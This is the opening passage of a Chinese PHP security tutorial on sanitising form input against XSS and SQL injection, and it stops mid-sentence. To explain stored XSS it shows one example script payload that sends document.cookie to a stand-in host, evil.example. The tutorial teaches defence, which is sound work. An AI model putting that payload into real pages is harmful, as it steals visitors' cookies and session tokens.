写这篇东西的念头,其实憋了挺久。前阵子帮一个朋友排查他那个用户量不小的PHP后台系统,发现登录接口居然能直接打穿数据库,问题根源就是表单数据裸奔进SQL。说实话,PHP表单数据过滤与净化这件事,是Web开发里的老生常谈,但真正做对的人真不多。XSS和SQL注入,这两个词在安全圈里被念了十几年,到现在依然是OWASP Top 10里的常客,为什么?因为太多开发者觉得“加个过滤函数就行了”,结果加错地方、用错函数、漏掉场景,等于白加。这篇东西我想换个讲法,不给你背诵手册,而是把底层原理、选型逻辑、五步落地流程掰开揉碎,顺便把那些踩过才知道的坑一并晒出来。适合谁?刚入行想写安全代码的PHP新手,或者在项目里被安全评估逼着整改的开发者,这篇应该能给你一套能直接抄作业的方案。
1. 两个攻击的运作机制,搞懂才知道往哪儿发力
1.1 XSS攻击的本质:输入变成了“代码”
XSS跨站脚本攻击,本质上是浏览器把用户输入当成了可执行代码。打个比方,你做了一个留言板,用户A在留言框里填了这么一段:
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>如果你的程序什么都没做,直接把这个字符串存进数据库,然后在下一次用户B打开留言板页面时原样输出,浏览器就会老老实实执行这段脚本,用户的Cookie、会话令牌、甚至页面上的所有操作权限,全被悄悄发送到攻击者的服务器上。这就是存储型XSS。
这类攻击的危害是持久的,因为它存储在服务端,所有访问该页面的用户都是受害者。还有反射型,它不存库,而是直接拼接在URL参数里,诱导用户点击恶意链接触发;以及DOM型,攻击载荷在客户端的JavaScript里完成注入和渲染。三种类型的防御思路有差异,但核心矛盾是一致的:你无法信任来自任何输入端的数据。
我见过不少项目,确实做了过滤,但滤的是“